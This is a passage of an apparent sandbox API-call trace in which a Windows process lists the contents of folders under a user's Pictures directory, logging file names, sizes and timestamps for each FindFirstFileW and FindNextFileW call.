ftCreationTime.dwHighDateTime=0x1d627bc, ftLastAccessTime.dwLowDateTime=0xf7f11190, ftLastAccessTime.dwHighDateTime=0x1d62b99, ftLastWriteTime.dwLowDateTime=0xf7f11190, ftLastWriteTime.dwHighDateTime=0x1d62b99, nFileSizeHigh=0x0, nFileSizeLow=0x116a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="i7zJosB4nQujx7WmK.jpg", cAlternateFileName="I7ZJOS~1.JPG")) returned 1 [0098.259] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ce2fc0, ftCreationTime.dwHighDateTime=0x1d62a50, ftLastAccessTime.dwLowDateTime=0xda66e8f0, ftLastAccessTime.dwHighDateTime=0x1d62c0e, ftLastWriteTime.dwLowDateTime=0xda66e8f0, ftLastWriteTime.dwHighDateTime=0x1d62c0e, nFileSizeHigh=0x0, nFileSizeLow=0xc775, dwReserved0=0x0, dwReserved1=0x0, cFileName="sBIB.bmp", cAlternateFileName="")) returned 1 [0098.260] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.260] FindClose (in: hFindFile=0x1ae50490 | out: hFindFile=0x1ae50490) returned 1 [0098.260] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56ddac80, ftCreationTime.dwHighDateTime=0x1d62583, ftLastAccessTime.dwLowDateTime=0xde6c9c80, ftLastAccessTime.dwHighDateTime=0x1d6305d, ftLastWriteTime.dwLowDateTime=0xde6c9c80, ftLastWriteTime.dwHighDateTime=0x1d6305d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae508b0 [0098.260] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56ddac80, ftCreationTime.dwHighDateTime=0x1d62583, ftLastAccessTime.dwLowDateTime=0xde6c9c80, ftLastAccessTime.dwHighDateTime=0x1d6305d, ftLastWriteTime.dwLowDateTime=0xde6c9c80, ftLastWriteTime.dwHighDateTime=0x1d6305d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.260] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab561da0, ftCreationTime.dwHighDateTime=0x1d623c7, ftLastAccessTime.dwLowDateTime=0x3e624a00, ftLastAccessTime.dwHighDateTime=0x1d6314d, ftLastWriteTime.dwLowDateTime=0x3e624a00, ftLastWriteTime.dwHighDateTime=0x1d6314d, nFileSizeHigh=0x0, nFileSizeLow=0x110a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jrvtVYw.jpg", cAlternateFileName="")) returned 1 [0098.260] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68d6c790, ftCreationTime.dwHighDateTime=0x1d62a43, ftLastAccessTime.dwLowDateTime=0x4e307d0, ftLastAccessTime.dwHighDateTime=0x1d6279b, ftLastWriteTime.dwLowDateTime=0x4e307d0, ftLastWriteTime.dwHighDateTime=0x1d6279b, nFileSizeHigh=0x0, nFileSizeLow=0x128ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mYvM8iMUSbzh.png", cAlternateFileName="MYVM8I~1.PNG")) returned 1 [0098.260] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec30690, ftCreationTime.dwHighDateTime=0x1d628f4, ftLastAccessTime.dwLowDateTime=0x98148f50, ftLastAccessTime.dwHighDateTime=0x1d62b84, ftLastWriteTime.dwLowDateTime=0x98148f50, ftLastWriteTime.dwHighDateTime=0x1d62b84, nFileSizeHigh=0x0, nFileSizeLow=0x11b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="qrp6r_k1exWU.jpg", cAlternateFileName="QRP6R_~1.JPG")) returned 1 [0098.260] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec30690, ftCreationTime.dwHighDateTime=0x1d628f4, ftLastAccessTime.dwLowDateTime=0x98148f50, ftLastAccessTime.dwHighDateTime=0x1d62b84, ftLastWriteTime.dwLowDateTime=0x98148f50, ftLastWriteTime.dwHighDateTime=0x1d62b84, nFileSizeHigh=0x0, nFileSizeLow=0x11b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="qrp6r_k1exWU.jpg", cAlternateFileName="QRP6R_~1.JPG")) returned 0 [0098.261] FindClose (in: hFindFile=0x1ae508b0 | out: hFindFile=0x1ae508b0) returned 1 [0098.261] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\4j1k1xF\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56ddac80, ftCreationTime.dwHighDateTime=0x1d62583, ftLastAccessTime.dwLowDateTime=0xde6c9c80, ftLastAccessTime.dwHighDateTime=0x1d6305d, ftLastWriteTime.dwLowDateTime=0xde6c9c80, ftLastWriteTime.dwHighDateTime=0x1d6305d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0098.261] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56ddac80, ftCreationTime.dwHighDateTime=0x1d62583, ftLastAccessTime.dwLowDateTime=0xde6c9c80, ftLastAccessTime.dwHighDateTime=0x1d6305d, ftLastWriteTime.dwLowDateTime=0xde6c9c80, ftLastWriteTime.dwHighDateTime=0x1d6305d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.261] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab561da0, ftCreationTime.dwHighDateTime=0x1d623c7, ftLastAccessTime.dwLowDateTime=0x3e624a00, ftLastAccessTime.dwHighDateTime=0x1d6314d, ftLastWriteTime.dwLowDateTime=0x3e624a00, ftLastWriteTime.dwHighDateTime=0x1d6314d, nFileSizeHigh=0x0, nFileSizeLow=0x110a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jrvtVYw.jpg", cAlternateFileName="")) returned 1 [0098.261] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68d6c790, ftCreationTime.dwHighDateTime=0x1d62a43, ftLastAccessTime.dwLowDateTime=0x4e307d0, ftLastAccessTime.dwHighDateTime=0x1d6279b, ftLastWriteTime.dwLowDateTime=0x4e307d0, ftLastWriteTime.dwHighDateTime=0x1d6279b, nFileSizeHigh=0x0, nFileSizeLow=0x128ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mYvM8iMUSbzh.png", cAlternateFileName="MYVM8I~1.PNG")) returned 1 [0098.261] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec30690, ftCreationTime.dwHighDateTime=0x1d628f4, ftLastAccessTime.dwLowDateTime=0x98148f50, ftLastAccessTime.dwHighDateTime=0x1d62b84, ftLastWriteTime.dwLowDateTime=0x98148f50, ftLastWriteTime.dwHighDateTime=0x1d62b84, nFileSizeHigh=0x0, nFileSizeLow=0x11b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="qrp6r_k1exWU.jpg", cAlternateFileName="QRP6R_~1.JPG")) returned 1 [0098.261] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.261] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0098.261] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82b7a7b0, ftCreationTime.dwHighDateTime=0x1d63268, ftLastAccessTime.dwLowDateTime=0xcbb65d70, ftLastAccessTime.dwHighDateTime=0x1d62c15, ftLastWriteTime.dwLowDateTime=0xcbb65d70, ftLastWriteTime.dwHighDateTime=0x1d62c15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50af0 [0098.262] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82b7a7b0, ftCreationTime.dwHighDateTime=0x1d63268, ftLastAccessTime.dwLowDateTime=0xcbb65d70, ftLastAccessTime.dwHighDateTime=0x1d62c15, ftLastWriteTime.dwLowDateTime=0xcbb65d70, ftLastWriteTime.dwHighDateTime=0x1d62c15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.262] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a0f0, ftCreationTime.dwHighDateTime=0x1d627a8, ftLastAccessTime.dwLowDateTime=0x597791d0, ftLastAccessTime.dwHighDateTime=0x1d62381, ftLastWriteTime.dwLowDateTime=0x597791d0, ftLastWriteTime.dwHighDateTime=0x1d62381, nFileSizeHigh=0x0, nFileSizeLow=0x14af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="32Jaog_erQwMsdNVPp.gif", cAlternateFileName="32JAOG~1.GIF")) returned 1 [0098.262] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8995c60, ftCreationTime.dwHighDateTime=0x1d631af, ftLastAccessTime.dwLowDateTime=0x884f6ef0, ftLastAccessTime.dwHighDateTime=0x1d627fb, ftLastWriteTime.dwLowDateTime=0x884f6ef0, ftLastWriteTime.dwHighDateTime=0x1d627fb, nFileSizeHigh=0x0, nFileSizeLow=0xf6d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxGD.png", cAlternateFileName="")) returned 1 [0098.262] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4174e160, ftCreationTime.dwHighDateTime=0x1d622cc, ftLastAccessTime.dwLowDateTime=0x2aed9f50, ftLastAccessTime.dwHighDateTime=0x1d62faa, ftLastWriteTime.dwLowDateTime=0x2aed9f50, ftLastWriteTime.dwHighDateTime=0x1d62faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z9ciBpYwf0b_s5J.bmp", cAlternateFileName="Z9CIBP~1.BMP")) returned 1 [0098.262] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4174e160, ftCreationTime.dwHighDateTime=0x1d622cc, ftLastAccessTime.dwLowDateTime=0x2aed9f50, ftLastAccessTime.dwHighDateTime=0x1d62faa, ftLastWriteTime.dwLowDateTime=0x2aed9f50, ftLastWriteTime.dwHighDateTime=0x1d62faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z9ciBpYwf0b_s5J.bmp", cAlternateFileName="Z9CIBP~1.BMP")) returned 0 [0098.262] FindClose (in: hFindFile=0x1ae50af0 | out: hFindFile=0x1ae50af0) returned 1 [0098.262] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\kQzXlpTZkm577\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82b7a7b0, ftCreationTime.dwHighDateTime=0x1d63268, ftLastAccessTime.dwLowDateTime=0xcbb65d70, ftLastAccessTime.dwHighDateTime=0x1d62c15, ftLastWriteTime.dwLowDateTime=0xcbb65d70, ftLastWriteTime.dwHighDateTime=0x1d62c15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50850 [0098.263] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82b7a7b0, ftCreationTime.dwHighDateTime=0x1d63268, ftLastAccessTime.dwLowDateTime=0xcbb65d70, ftLastAccessTime.dwHighDateTime=0x1d62c15, ftLastWriteTime.dwLowDateTime=0xcbb65d70, ftLastWriteTime.dwHighDateTime=0x1d62c15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.263] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a0f0, ftCreationTime.dwHighDateTime=0x1d627a8, ftLastAccessTime.dwLowDateTime=0x597791d0, ftLastAccessTime.dwHighDateTime=0x1d62381, ftLastWriteTime.dwLowDateTime=0x597791d0, ftLastWriteTime.dwHighDateTime=0x1d62381, nFileSizeHigh=0x0, nFileSizeLow=0x14af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="32Jaog_erQwMsdNVPp.gif", cAlternateFileName="32JAOG~1.GIF")) returned 1 [0098.263] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8995c60, ftCreationTime.dwHighDateTime=0x1d631af, ftLastAccessTime.dwLowDateTime=0x884f6ef0, ftLastAccessTime.dwHighDateTime=0x1d627fb, ftLastWriteTime.dwLowDateTime=0x884f6ef0, ftLastWriteTime.dwHighDateTime=0x1d627fb, nFileSizeHigh=0x0, nFileSizeLow=0xf6d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxGD.png", cAlternateFileName="")) returned 1 [0098.263] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4174e160, ftCreationTime.dwHighDateTime=0x1d622cc, ftLastAccessTime.dwLowDateTime=0x2aed9f50, ftLastAccessTime.dwHighDateTime=0x1d62faa, ftLastWriteTime.dwLowDateTime=0x2aed9f50, ftLastWriteTime.dwHighDateTime=0x1d62faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z9ciBpYwf0b_s5J.bmp", cAlternateFileName="Z9CIBP~1.BMP")) returned 1 [0098.263] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.263] FindClose (in: hFindFile=0x1ae50850 | out: hFindFile=0x1ae50850) returned 1 [0098.263] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561ac4e0, ftCreationTime.dwHighDateTime=0x1d6326c, ftLastAccessTime.dwLowDateTime=0x20115450, ftLastAccessTime.dwHighDateTime=0x1d62f64, ftLastWriteTime.dwLowDateTime=0x20115450, ftLastWriteTime.dwHighDateTime=0x1d62f64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae508b0 [0098.263] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561ac4e0, ftCreationTime.dwHighDateTime=0x1d6326c, ftLastAccessTime.dwLowDateTime=0x20115450, ftLastAccessTime.dwHighDateTime=0x1d62f64, ftLastWriteTime.dwLowDateTime=0x20115450, ftLastWriteTime.dwHighDateTime=0x1d62f64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.263] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80304d0, ftCreationTime.dwHighDateTime=0x1d62b72, ftLastAccessTime.dwLowDateTime=0x222921a0, ftLastAccessTime.dwHighDateTime=0x1d632a2, ftLastWriteTime.dwLowDateTime=0x222921a0, ftLastWriteTime.dwHighDateTime=0x1d632a2, nFileSizeHigh=0x0, nFileSizeLow=0x15231, dwReserved0=0x0, dwReserved1=0x0, cFileName="-et8Wv3BQ.jpg", cAlternateFileName="-ET8WV~1.JPG")) returned 1 [0098.263] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb1ccb0, ftCreationTime.dwHighDateTime=0x1d62c92, ftLastAccessTime.dwLowDateTime=0xcffecd30, ftLastAccessTime.dwHighDateTime=0x1d62ee1, ftLastWriteTime.dwLowDateTime=0xcffecd30, ftLastWriteTime.dwHighDateTime=0x1d62ee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="f2jVPKj4tPZ", cAlternateFileName="F2JVPK~1")) returned 1 [0098.264] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb9e070, ftCreationTime.dwHighDateTime=0x1d62f99, ftLastAccessTime.dwLowDateTime=0x3540bff0, ftLastAccessTime.dwHighDateTime=0x1d62ac8, ftLastWriteTime.dwLowDateTime=0x3540bff0, ftLastWriteTime.dwHighDateTime=0x1d62ac8, nFileSizeHigh=0x0, nFileSizeLow=0x13dcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HsGly8uxz9s.gif", cAlternateFileName="HSGLY8~1.GIF")) returned 1 [0098.264] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab838d0, ftCreationTime.dwHighDateTime=0x1d62bf1, ftLastAccessTime.dwLowDateTime=0x483e4c70, ftLastAccessTime.dwHighDateTime=0x1d63069, ftLastWriteTime.dwLowDateTime=0x483e4c70, ftLastWriteTime.dwHighDateTime=0x1d63069, nFileSizeHigh=0x0, nFileSizeLow=0x3638, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyFftDJrx8ROGs0AZ.png", cAlternateFileName="IYFFTD~1.PNG")) returned 1 [0098.264] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712906b0, ftCreationTime.dwHighDateTime=0x1d62ff7, ftLastAccessTime.dwLowDateTime=0x5175e170, ftLastAccessTime.dwHighDateTime=0x1d62f99, ftLastWriteTime.dwLowDateTime=0x5175e170, ftLastWriteTime.dwHighDateTime=0x1d62f99, nFileSizeHigh=0x0, nFileSizeLow=0xd530, dwReserved0=0x0, dwReserved1=0x0, cFileName="l1PdJL6srlyFIxgp8o.jpg", cAlternateFileName="L1PDJL~1.JPG")) returned 1 [0098.264] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660e30, ftCreationTime.dwHighDateTime=0x1d6277a, ftLastAccessTime.dwLowDateTime=0x1daa6ac0, ftLastAccessTime.dwHighDateTime=0x1d62b64, ftLastWriteTime.dwLowDateTime=0x1daa6ac0, ftLastWriteTime.dwHighDateTime=0x1d62b64, nFileSizeHigh=0x0, nFileSizeLow=0x14132, dwReserved0=0x0, dwReserved1=0x0, cFileName="W6FCb4MO2JqQHIFAetG.gif", cAlternateFileName="W6FCB4~1.GIF")) returned 1 [0098.264] FindNextFileW (in: hFindFile=0x1ae508b0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660e30, ftCreationTime.dwHighDateTime=0x1d6277a, ftLastAccessTime.dwLowDateTime=0x1daa6ac0, ftLastAccessTime.dwHighDateTime=0x1d62b64, ftLastWriteTime.dwLowDateTime=0x1daa6ac0, ftLastWriteTime.dwHighDateTime=0x1d62b64, nFileSizeHigh=0x0, nFileSizeLow=0x14132, dwReserved0=0x0, dwReserved1=0x0, cFileName="W6FCb4MO2JqQHIFAetG.gif", cAlternateFileName="W6FCB4~1.GIF")) returned 0 [0098.264] FindClose (in: hFindFile=0x1ae508b0 | out: hFindFile=0x1ae508b0) returned 1 [0098.264] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561ac4e0, ftCreationTime.dwHighDateTime=0x1d6326c, ftLastAccessTime.dwLowDateTime=0x20115450, ftLastAccessTime.dwHighDateTime=0x1d62f64, ftLastWriteTime.dwLowDateTime=0x20115450, ftLastWriteTime.dwHighDateTime=0x1d62f64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50a90 [0098.264] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561ac4e0, ftCreationTime.dwHighDateTime=0x1d6326c, ftLastAccessTime.dwLowDateTime=0x20115450, ftLastAccessTime.dwHighDateTime=0x1d62f64, ftLastWriteTime.dwLowDateTime=0x20115450, ftLastWriteTime.dwHighDateTime=0x1d62f64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80304d0, ftCreationTime.dwHighDateTime=0x1d62b72, ftLastAccessTime.dwLowDateTime=0x222921a0, ftLastAccessTime.dwHighDateTime=0x1d632a2, ftLastWriteTime.dwLowDateTime=0x222921a0, ftLastWriteTime.dwHighDateTime=0x1d632a2, nFileSizeHigh=0x0, nFileSizeLow=0x15231, dwReserved0=0x0, dwReserved1=0x0, cFileName="-et8Wv3BQ.jpg", cAlternateFileName="-ET8WV~1.JPG")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb1ccb0, ftCreationTime.dwHighDateTime=0x1d62c92, ftLastAccessTime.dwLowDateTime=0xcffecd30, ftLastAccessTime.dwHighDateTime=0x1d62ee1, ftLastWriteTime.dwLowDateTime=0xcffecd30, ftLastWriteTime.dwHighDateTime=0x1d62ee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="f2jVPKj4tPZ", cAlternateFileName="F2JVPK~1")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb9e070, ftCreationTime.dwHighDateTime=0x1d62f99, ftLastAccessTime.dwLowDateTime=0x3540bff0, ftLastAccessTime.dwHighDateTime=0x1d62ac8, ftLastWriteTime.dwLowDateTime=0x3540bff0, ftLastWriteTime.dwHighDateTime=0x1d62ac8, nFileSizeHigh=0x0, nFileSizeLow=0x13dcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HsGly8uxz9s.gif", cAlternateFileName="HSGLY8~1.GIF")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab838d0, ftCreationTime.dwHighDateTime=0x1d62bf1, ftLastAccessTime.dwLowDateTime=0x483e4c70, ftLastAccessTime.dwHighDateTime=0x1d63069, ftLastWriteTime.dwLowDateTime=0x483e4c70, ftLastWriteTime.dwHighDateTime=0x1d63069, nFileSizeHigh=0x0, nFileSizeLow=0x3638, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyFftDJrx8ROGs0AZ.png", cAlternateFileName="IYFFTD~1.PNG")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712906b0, ftCreationTime.dwHighDateTime=0x1d62ff7, ftLastAccessTime.dwLowDateTime=0x5175e170, ftLastAccessTime.dwHighDateTime=0x1d62f99, ftLastWriteTime.dwLowDateTime=0x5175e170, ftLastWriteTime.dwHighDateTime=0x1d62f99, nFileSizeHigh=0x0, nFileSizeLow=0xd530, dwReserved0=0x0, dwReserved1=0x0, cFileName="l1PdJL6srlyFIxgp8o.jpg", cAlternateFileName="L1PDJL~1.JPG")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660e30, ftCreationTime.dwHighDateTime=0x1d6277a, ftLastAccessTime.dwLowDateTime=0x1daa6ac0, ftLastAccessTime.dwHighDateTime=0x1d62b64, ftLastWriteTime.dwLowDateTime=0x1daa6ac0, ftLastWriteTime.dwHighDateTime=0x1d62b64, nFileSizeHigh=0x0, nFileSizeLow=0x14132, dwReserved0=0x0, dwReserved1=0x0, cFileName="W6FCb4MO2JqQHIFAetG.gif", cAlternateFileName="W6FCB4~1.GIF")) returned 1 [0098.265] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, 